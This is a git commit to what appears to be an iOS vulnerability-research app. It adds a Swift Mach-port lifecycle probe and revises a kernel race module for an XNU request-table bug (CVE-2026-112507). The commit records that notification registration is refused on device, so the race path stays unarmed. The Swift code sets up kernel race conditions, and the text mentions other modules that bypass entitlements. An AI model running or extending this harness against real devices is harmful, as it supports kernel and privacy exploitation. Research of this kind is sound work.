112507 reachability closed: notification registration refused (-300)
- New kern.ipc.lifecycle module: dead-name registration, dead-name send, notification receive, name reuse — single-threaded, safe on device - Device receipt (iPhone19,7, iOS 27.0.1, ad-hoc signed): request DEAD_NAME returns -300 (MIG_TYPE_ERROR); send -> MACH_SEND_INVALID_DEST; receive times out; 0/12,288 registrations armed in kern.ipc - macOS 27 sweep: 13 notification-type/right combinations, all -300 - kern.ipc now counts armed registrations and retracts the old 'survived' verdict when armed == 0; the request table is never armed - docs/KERNEL-RW-ASSESSMENT.md: 112507 marked closed for this app - app 2.2 build 5; 57 modules
This commit is contained in:
1 parent
c30aadf9bb
commit
6f4ed67c38
9 files changed
+217
-40
No files matched your search
+9
-10
@@ -413,28 +413,27 @@ enum Catalog {
|
||||
reach: .kernel,
|
||||
tier: 2,
|
||||
summaryZh: "27.2 为每个消费 per-space 端口请求表索引的函数补入 cmp/b.hi 与 NULL 陷阱(ipc_port.c:21/24/34/38/40/41)。27.0 的 free 路径计算了边界却丢弃结果,仍以未检查的基址执行读改写;mark 路径则完全没有边界计算。索引取自 space 中保存的请求表下标,故缺陷形状为「表增长或拆除」与「通知注册或消息发送」并发下的陈旧索引。",
|
||||
notesZh: "该路径上无 entitlement 门槛的入口为 mach_msg 与端口通知注册。本模块以 8 线程运行 6 秒,统计内核返回码分布 —— 任何非 KERN_SUCCESS 的出现频次变化都是索引越界的候选信号。",
|
||||
notesZh: "该路径上原本被认为无 entitlement 门槛的入口是 mach_msg 与端口通知注册。真机实测(iOS 27.0.1,iPhone 19,7)与 macOS 27 上,mach_port_request_notification 的 13 种类型/权限组合全部返回 -300(MIG_TYPE_ERROR):内核拒绝为第三方进程武装请求表项。没有请求表项,就没有可被竞态消费的陈旧索引 —— 本模块因此是一个可达性负结果,而不是竞态证据。armed 计数为 0 时,任何“survived”都不构成 112507 结论。",
|
||||
run: { ctx in
|
||||
let baseline = KernelIPC.baseline()
|
||||
ctx.arm("kern.ipc", "race 6s")
|
||||
let stats = KernelIPC.race(seconds: 6.0, workers: 4, depth: 48)
|
||||
ctx.disarm("kern.ipc", "ops=\(stats.operations)")
|
||||
ctx.disarm("kern.ipc", "ops=\(stats.operations) armed=\(stats.armed) refused=\(stats.notificationsRefused)")
|
||||
var lines = [stats.summary, ""]
|
||||
lines.append(tl("— 基线 —"))
|
||||
for (k, v) in baseline.sorted(by: { $0.key < $1.key }) {
|
||||
lines.append("\(k): \(v)")
|
||||
}
|
||||
if stats.notificationsRefused > 0 {
|
||||
if stats.armed == 0 && stats.notifications > 0 {
|
||||
lines.append("")
|
||||
lines.append(tl("— 平台限制 —"))
|
||||
lines.append(tl("对自身端口注册通知返回 -300 (KERN_INVALID_CAPABILITY)。"))
|
||||
lines.append(tl("该平台不允许这条武装路径,故请求表索引竞态无法在此被驱动。"))
|
||||
lines.append(tl("本模块仍完成了 ") + "\(stats.allocations)" + tl(" 次端口分配与回收,"))
|
||||
lines.append(tl("验证了名称空间的分配/拆除路径本身可用。"))
|
||||
lines.append(tl("— 可达性判定 —"))
|
||||
lines.append(tl("通知注册成功 0 次,拒绝 ") + "\(stats.notificationsRefused)" + tl(" 次,内核返回 -300(MIG_TYPE_ERROR)。"))
|
||||
lines.append(tl("请求表项从未建立,竞态没有可消费的对象:本模块未触达 112507。"))
|
||||
lines.append(tl("已完成的 ") + "\(stats.allocations)" + tl(" 次分配/拆除只证明端口名称空间可用,不是漏洞证据。"))
|
||||
}
|
||||
let headline: String
|
||||
if stats.notificationsRefused > 0 {
|
||||
headline = tl("分配/拆除路径可用,通知武装被平台拒绝")
|
||||
if stats.armed == 0 && stats.notifications > 0 {
|
||||
headline = tl("通知注册全程 -300 — 112507 路径未武装(负结果)")
|
||||
} else if !stats.kernelErrors.isEmpty {
|
||||
headline = tl("竞态完成,内核返回 ") + "\(stats.kernelErrors.count)" + tl(" 类错误码")
|
||||
} else {
|
||||
|
||||
@@ -234,6 +234,45 @@ extension Catalog {
|
||||
evidence: [tl("27.2 在 encodeNextFrame 比较帧尺寸"), tl("崩溃版应留下 processDied")])
|
||||
}),
|
||||
|
||||
|
||||
// ── CVE-2026-112507 · port lifecycle baseline ───────────────────────
|
||||
ExploitModule(
|
||||
id: "kern.ipc.lifecycle",
|
||||
titleZh: "Mach 端口死名通知与名字复用基线(112507 前置)",
|
||||
cve: "CVE-2026-112507",
|
||||
component: "XNU · ipc_port request table",
|
||||
primitive: .probe,
|
||||
reach: .kernel,
|
||||
tier: 3,
|
||||
summaryZh: """
|
||||
单线程走一遍 112507 竞态必须保持正确的生命周期:申请 receive right → 插入 send right → 注册 dead-name 通知 → 丢弃 receive right(send right 变成死名)→ 向死名发送(应为 MACH_SEND_INVALID_DEST)→ 从通知端口收 dead-name 消息 → 释放死名并观察同一数字名是否被下一次分配复用。它不制造竞态,也不释放活着的请求表项。
|
||||
""",
|
||||
notesZh: """
|
||||
这是竞态模块的前置基线,不会打崩内核。两项观测决定 112507 的结论是否成立:dead-name 通知是否真的送达、名字是否会被复用。若这里就异常,先查平台语义,不要把它当成 UAF 证据。真机上通知注册应返回 KERN_SUCCESS;模拟器上可能出现注册被拒。
|
||||
""",
|
||||
run: { ctx in
|
||||
ctx.arm("kern.ipc.lifecycle", "dead-name lifecycle")
|
||||
let r = KernelIPC.lifecycle()
|
||||
ctx.disarm("kern.ipc.lifecycle",
|
||||
"dead=\(r.deadName) reuse=\(r.reused) | " + r.lines.joined(separator: " | "))
|
||||
let head: String
|
||||
if r.requestKR != KERN_SUCCESS {
|
||||
head = tl("通知注册被拒") + " (\(r.requestKR))" + tl(" — 112507 路径无法武装")
|
||||
} else if r.deadName && r.reused {
|
||||
head = tl("dead-name 送达 · 名字被复用")
|
||||
} else if r.deadName {
|
||||
head = tl("dead-name 送达 · 名字未复用")
|
||||
} else {
|
||||
head = tl("通知已注册但 dead-name 未送达 —— 查通知顺序")
|
||||
}
|
||||
return ModuleOutcome(
|
||||
headline: head,
|
||||
detail: r.lines.joined(separator: "\n"),
|
||||
evidence: [tl("send to dead name 应为 MACH_SEND_INVALID_DEST"),
|
||||
tl("dead-name 消息 id = 0x40000002"),
|
||||
tl("复用只记录,不构成本身结论")])
|
||||
}),
|
||||
|
||||
// ── CVE-2026-84636 · SCDynamicStore without wifi-info ───────────────
|
||||
ExploitModule(
|
||||
id: "sc.dynamicstore",
|
||||
|
||||
+97
-9
@@ -40,15 +40,20 @@ enum KernelIPC {
|
||||
var deallocations: Int = 0
|
||||
var budgetExhausted = false
|
||||
var notificationsRefused = 0
|
||||
/// Registrations that actually succeeded. Zero means the request-table path was
|
||||
/// never armed, so the run says nothing about 112507.
|
||||
var armed = 0
|
||||
var kernelErrors: [String: Int] = [:]
|
||||
|
||||
var summary: String {
|
||||
var s = "ops=\(operations) alloc=\(allocations) notify=\(notifications) "
|
||||
s += "send=\(sends) dealloc=\(deallocations)"
|
||||
if budgetExhausted { s += tl("\n(达到资源预算,提前收敛 —— 这是刻意的,不是失败)") }
|
||||
if notificationsRefused > 0 {
|
||||
s += tl("\n通知注册被拒 ") + "\(notificationsRefused)" + tl(" 次 —— 该平台不允许对自身端口注册通知,")
|
||||
s += tl("请求表路径无法被武装。真机上应返回 KERN_SUCCESS。")
|
||||
if armed == 0 && notifications > 0 {
|
||||
s += tl("\n通知注册 0 次成功(内核返回 -300)—— 请求表路径从未被武装。")
|
||||
s += tl("这次运行不是 112507 测试:没有请求表项,就没有可被竞态消费的索引。")
|
||||
} else if notificationsRefused > 0 {
|
||||
s += tl("\n通知注册被拒 ") + "\(notificationsRefused)" + tl(" 次(成功 ") + "\(armed)" + tl(" 次)。")
|
||||
}
|
||||
if !kernelErrors.isEmpty {
|
||||
s += "\n" + kernelErrors.sorted { $0.value > $1.value }
|
||||
@@ -82,8 +87,8 @@ enum KernelIPC {
|
||||
/// send into the survivors, then release everything. Returns the counters it produced.
|
||||
private static func ring(task: mach_port_t, depth: Int, budget: inout Int,
|
||||
refused: inout Int,
|
||||
record: (kern_return_t) -> Void) -> (alloc: Int, notify: Int, send: Int, dealloc: Int) {
|
||||
var alloc = 0, notify = 0, send = 0, dealloc = 0
|
||||
record: (kern_return_t) -> Void) -> (alloc: Int, notify: Int, send: Int, dealloc: Int, armed: Int) {
|
||||
var alloc = 0, notify = 0, send = 0, dealloc = 0, armed = 0
|
||||
|
||||
var ports: [mach_port_name_t] = []
|
||||
ports.reserveCapacity(depth)
|
||||
@@ -109,7 +114,7 @@ enum KernelIPC {
|
||||
let kr1 = mach_port_request_notification(
|
||||
task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p,
|
||||
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev)
|
||||
if kr1 != KERN_SUCCESS { record(kr1); if kr1 == KERN_INVALID_CAPABILITY { refused += 1 } }
|
||||
if kr1 == KERN_SUCCESS { armed += 1 } else { record(kr1); refused += 1 }
|
||||
if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) }
|
||||
notify += 1
|
||||
|
||||
@@ -117,7 +122,7 @@ enum KernelIPC {
|
||||
let kr2 = mach_port_request_notification(
|
||||
task, p, MACH_NOTIFY_DEAD_NAME, 0, p,
|
||||
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev2)
|
||||
if kr2 != KERN_SUCCESS { record(kr2); if kr2 == KERN_INVALID_CAPABILITY { refused += 1 } }
|
||||
if kr2 == KERN_SUCCESS { armed += 1 } else { record(kr2); refused += 1 }
|
||||
if prev2 != 0 { _ = mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1) }
|
||||
notify += 1
|
||||
}
|
||||
@@ -164,7 +169,7 @@ enum KernelIPC {
|
||||
}
|
||||
dealloc += 1
|
||||
}
|
||||
return (alloc, notify, send, dealloc)
|
||||
return (alloc, notify, send, dealloc, armed)
|
||||
}
|
||||
|
||||
/// Drive the interleaving for `seconds`, with a bounded number of workers and a hard
|
||||
@@ -184,7 +189,7 @@ enum KernelIPC {
|
||||
}
|
||||
|
||||
DispatchQueue.concurrentPerform(iterations: workers) { _ in
|
||||
var localAlloc = 0, localNotify = 0, localSend = 0, localDealloc = 0, localOps = 0
|
||||
var localAlloc = 0, localNotify = 0, localSend = 0, localDealloc = 0, localOps = 0, localArmed = 0
|
||||
|
||||
while Date() < deadline {
|
||||
lock.lock()
|
||||
@@ -205,6 +210,7 @@ enum KernelIPC {
|
||||
localNotify += result.notify
|
||||
localSend += result.send
|
||||
localDealloc += result.dealloc
|
||||
localArmed += result.armed
|
||||
localOps += 4
|
||||
|
||||
lock.lock()
|
||||
@@ -218,6 +224,7 @@ enum KernelIPC {
|
||||
stats.notifications += localNotify
|
||||
stats.sends += localSend
|
||||
stats.deallocations += localDealloc
|
||||
stats.armed += localArmed
|
||||
lock.unlock()
|
||||
}
|
||||
|
||||
@@ -255,4 +262,85 @@ enum KernelIPC {
|
||||
out["name_space"] = "\(nameCount)" + tl(" 已用 / 预算 ") + "\(liveBudget)"
|
||||
return out
|
||||
}
|
||||
|
||||
/// Single-threaded port lifecycle baseline: arm a DEAD_NAME notification, drop the
|
||||
/// receive right while the send right survives, send into the dead name, then receive
|
||||
/// the notification. No race, no frees of live request-table entries — this is the
|
||||
/// sequence the 112507 race has to stay correct through.
|
||||
///
|
||||
/// The second half frees the dead name and measures whether the kernel hands the same
|
||||
/// numeric name back to the next allocation. Name reuse is normal; the point is to
|
||||
/// record the baseline before the racer starts churning the namespace.
|
||||
static func lifecycle() -> (lines: [String], deadName: Bool, reused: Bool, requestKR: kern_return_t) {
|
||||
var lines: [String] = []
|
||||
let task = mach_task_self_
|
||||
var deadName = false
|
||||
var reused = false
|
||||
|
||||
var notify: mach_port_t = 0
|
||||
var kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, ¬ify)
|
||||
lines.append("notify_port alloc: \(name(kr)) name=\(notify)")
|
||||
guard kr == KERN_SUCCESS else { return (lines, false, false, kr) }
|
||||
|
||||
var target: mach_port_t = 0
|
||||
kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &target)
|
||||
lines.append("target receive: \(name(kr)) name=\(target)")
|
||||
guard kr == KERN_SUCCESS else { mach_port_destroy(task, notify); return (lines, false, false, kr) }
|
||||
|
||||
kr = mach_port_insert_right(task, target, target,
|
||||
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND))
|
||||
lines.append("insert send right: \(name(kr))")
|
||||
|
||||
var prev: mach_port_t = 0
|
||||
let requestKR = mach_port_request_notification(task, target, MACH_NOTIFY_DEAD_NAME, 0, notify,
|
||||
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev)
|
||||
kr = requestKR
|
||||
lines.append("request DEAD_NAME -> notify=\(notify): \(name(kr)) prev=\(prev)")
|
||||
if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) }
|
||||
|
||||
kr = mach_port_mod_refs(task, target, MACH_PORT_RIGHT_RECEIVE, -1)
|
||||
lines.append("drop receive right: \(name(kr))")
|
||||
|
||||
var hdr = mach_msg_header_t()
|
||||
hdr.msgh_bits = mach_msg_bits_t(MACH_MSG_TYPE_COPY_SEND)
|
||||
hdr.msgh_size = mach_msg_size_t(MemoryLayout<mach_msg_header_t>.size)
|
||||
hdr.msgh_remote_port = target
|
||||
hdr.msgh_local_port = 0
|
||||
hdr.msgh_id = 0
|
||||
kr = mach_msg_send(&hdr)
|
||||
lines.append("send to dead name: \(name(kr))")
|
||||
|
||||
// DEAD_NAME fires when the last send right is released, not when the receive
|
||||
// right is dropped. Release it before waiting, otherwise the receive always
|
||||
// times out and the baseline records a false negative.
|
||||
kr = mach_port_deallocate(task, target)
|
||||
lines.append("release last send right: \(name(kr))")
|
||||
|
||||
var buffer = [UInt8](repeating: 0, count: 256)
|
||||
kr = buffer.withUnsafeMutableBytes { raw -> kern_return_t in
|
||||
let p = raw.baseAddress!.assumingMemoryBound(to: mach_msg_header_t.self)
|
||||
return mach_msg(p, mach_msg_option_t(MACH_RCV_MSG | MACH_RCV_TIMEOUT),
|
||||
0, mach_msg_size_t(raw.count), notify, 200, 0)
|
||||
}
|
||||
lines.append("receive notification: \(name(kr))")
|
||||
if kr == KERN_SUCCESS {
|
||||
let got = buffer.withUnsafeBytes {
|
||||
$0.baseAddress!.assumingMemoryBound(to: mach_msg_header_t.self).pointee
|
||||
}
|
||||
deadName = got.msgh_id == MACH_NOTIFY_DEAD_NAME
|
||||
lines.append(" id=0x\(String(got.msgh_id, radix: 16)) local=\(got.msgh_local_port) size=\(got.msgh_size) deadName=\(deadName)")
|
||||
}
|
||||
|
||||
for _ in 0..<64 {
|
||||
var p: mach_port_t = 0
|
||||
if mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &p) == KERN_SUCCESS {
|
||||
if p == target { reused = true; mach_port_destroy(task, p); break }
|
||||
mach_port_destroy(task, p)
|
||||
}
|
||||
}
|
||||
lines.append("name reuse of \(target): \(reused ? "yes" : "no")")
|
||||
|
||||
mach_port_destroy(task, notify)
|
||||
return (lines, deadName, reused, requestKR)
|
||||
}
|
||||
}
|
||||
@@ -196,7 +196,7 @@ enum ModuleText {
|
||||
iOS 27.2 adds cmp/b.hi and NULL traps to every function that consumes a per-space port request table index (ipc_port.c:21/24/34/38/40/41). On 27.0 the free path computes the bounds and discards the result, still performing the read-modify-write through the unchecked base; the mark path has no bounds computation at all. The index comes from the space's saved request-table slot, so the defect shape is a stale index under concurrency between table growth or teardown and notification registration or message send.
|
||||
""",
|
||||
notes: """
|
||||
The entry points on this path with no entitlement gate are mach_msg and port notification registration. This module runs 8 threads for 6 seconds and counts the kernel's return codes — any shift in the frequency of a non-KERN_SUCCESS result is a candidate signal for an out-of-range index.
|
||||
The entry points on this path were believed to be ungated: mach_msg and port notification registration. On the actual target (iOS 27.0.1, iPhone 19,7) and on macOS 27, all 13 combinations of notification type and right layout return -300 (MIG_TYPE_ERROR): the kernel refuses to arm a request-table entry for a third-party process. With no entry, there is no stale index to consume — this module is now a reachability negative, not race evidence. When armed is 0, no "survived" line is a 112507 conclusion.
|
||||
"""),
|
||||
|
||||
"kern.decmpfs": Row(
|
||||
@@ -550,6 +550,15 @@ enum ModuleText {
|
||||
This is an in-process primitive: the app dies, not the kernel. After the crash the module's verdict is processDied and the last engine log line is the fire start. The receiving-Messages path (tap "Load Preview" on a sent link) is the same code; this module only replaces the delivery end with loopback so no external network is involved.
|
||||
"""),
|
||||
|
||||
"kern.ipc.lifecycle": Row(
|
||||
title: "Mach port dead-name notification and name reuse baseline (112507 prerequisite)",
|
||||
summary: """
|
||||
A single-threaded walk through the lifecycle the 112507 race has to keep correct: allocate a receive right → insert a send right → register a dead-name notification → drop the receive right (the send right becomes a dead name) → send into the dead name (expected MACH_SEND_INVALID_DEST) → receive the dead-name message from the notification port → release the dead name and check whether the next allocation reuses the same numeric name. No race, no freeing of live request-table entries.
|
||||
""",
|
||||
notes: """
|
||||
This is the prerequisite baseline for the race module and cannot panic the kernel. Two observations decide whether the 112507 conclusion holds: whether the dead-name notification is actually delivered, and whether the name gets reused. If this already misbehaves, fix the platform semantics first; do not treat it as UAF evidence. On a device the notification registration should return KERN_SUCCESS; the simulator may refuse it.
|
||||
"""),
|
||||
|
||||
"sc.dynamicstore": Row(
|
||||
title: "SSID and router MAC from configd's dynamic store (no wifi-info entitlement)",
|
||||
summary: """
|
||||
|
||||
Reference in new issue
Block a user